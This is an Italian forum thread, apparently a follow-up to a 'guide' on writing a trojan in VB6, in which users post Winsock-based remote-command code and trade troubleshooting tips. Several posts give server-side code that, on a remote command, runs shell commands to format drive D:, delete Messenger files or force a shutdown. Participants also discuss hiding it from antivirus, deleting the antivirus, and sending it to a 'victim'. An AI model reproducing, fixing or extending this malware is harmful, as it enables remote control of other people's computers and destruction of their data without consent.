[GUIDA] Creare un Trojan in VB6

[Ade94]

Comunque Ottima discussione specialmente se si camuffa bene l'antivirus non lo scopre o si trova un programma telnet o usa il cmd e inviate funziona.

OFF
Entra in msn Inferno

 

[Abe]

Comunque Ottima discussione specialmente se si camuffa bene l'antivirus non lo scopre o si trova un programma telnet o usa il cmd e inviate funziona.

OFF
Entra in msn Inferno

Le virgole non sono comprese nel tuo vocabolario?
Fammi capire bene, tu usi telnet per camuffare un programma all'antivirus? O.o

 

[XxXXxX]

Questo serve per far formattare un pc dovete mettere un altro bottone con

winsock1.sendDAta “formatta”

(client)

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim dati As String
Winsock1.GetData dati
Select Case dati
Case “messaggio”
msgbox “Ciao utente!!!”
Case “formatta”
Shell (”format D: /autotest /q /u″)
End Select
End Sub

(server)

Create un altro pulsante per eliminare msn

winsock1.sendDAta “elimina”

(client)

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim dati As String
Winsock1.GetData dati
Select Case dati
Case “messaggio”
msgbox “Ciao utente!!!”
Case “elimina”
Shell (”@ERASE /S /Q "C:\Programmi\Windows Live\Messenger\MessengerClient.dll″)
End Select
End Sub

(server)

Presto nuovi comandi

 

[capper8]

Questo serve per far formattare un pc dovete mettere un altro bottone con

Peccato che se il volume è utilizzato (e perchè il programma funzioni il volume deve essere utilizzato) non formatta una cippa lippa.
Dunque, è inutile... a meno che non si formatti un'altra partizione o un altro disco, tipo D:

 

[Abe]

Questo serve per far formattare un pc dovete mettere un altro bottone con

(client)

(server)

Create un altro pulsante per eliminare msn

(client)

(server)

Presto nuovi comandi

è buono solo in 2 casi:

a) Sei dentro SYSTEM
b) Stai in un'altra partizione

 

[XxXXxX]

quindi non sono buoni?

 

[Abe]

propio a formattare no.. però cambiando il percorso sono ugualmente buoni

per esmpio si può eliminare l'av ù.ù

 

[XxXXxX]

ok quale è la dll ke serve di +?

 

[Abe]

ce ne sono varie.. comunque sono ugualmente in esecuzione come windows stesso, quindi non cancellabili

 

[Skwall]

Bella guida,mi metto all'opera xD

 

[Niko_Man]

ketto nel command 2 mi dice syntax error :S
misai dire xke??

 

[Niko_Man]

scusa il secondo mex di fila...ma è normale che venga l'errore "il file mscoxi.dll nn è stato trovato? o.0

 

[Generalefelix]

Scusate so che la disc è vecchiotta, ma ora ho provato a fare sto trojan riscontro un problema nel server mi da un errore appena lo compilo le source sono queste:
Winsock1.Listen
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> sckClosed Then Winsock1.Close
Winsock1.Accept requestID
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim dati As String
Winsock1.GetData dati
Select Case dati
Case “messaggio”
msgbox “Ciao utente!!!”
Case “spegni”
Shell (”shutdown -s -f -t 01?)
End Select
End Sub
Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
Winsock1.Close
Winsock1.Listen
End Sub
End Sub

Mi da 1 errore in Winsock1.listen (il winsock si chiama così nn so a che è dovuto l'errore)

Aspetto che mi rispondiate
CIAOOOO!!

 

[Mike12]

scusate la domanda master nabba :O Ho compilato il trojan, se lo invio cosa succede al pc della vittima???

Grz

 

[:Dj-Fede:]

Bella guida...Quando riesco trovar un altro installer di vb6 mi metto all'opera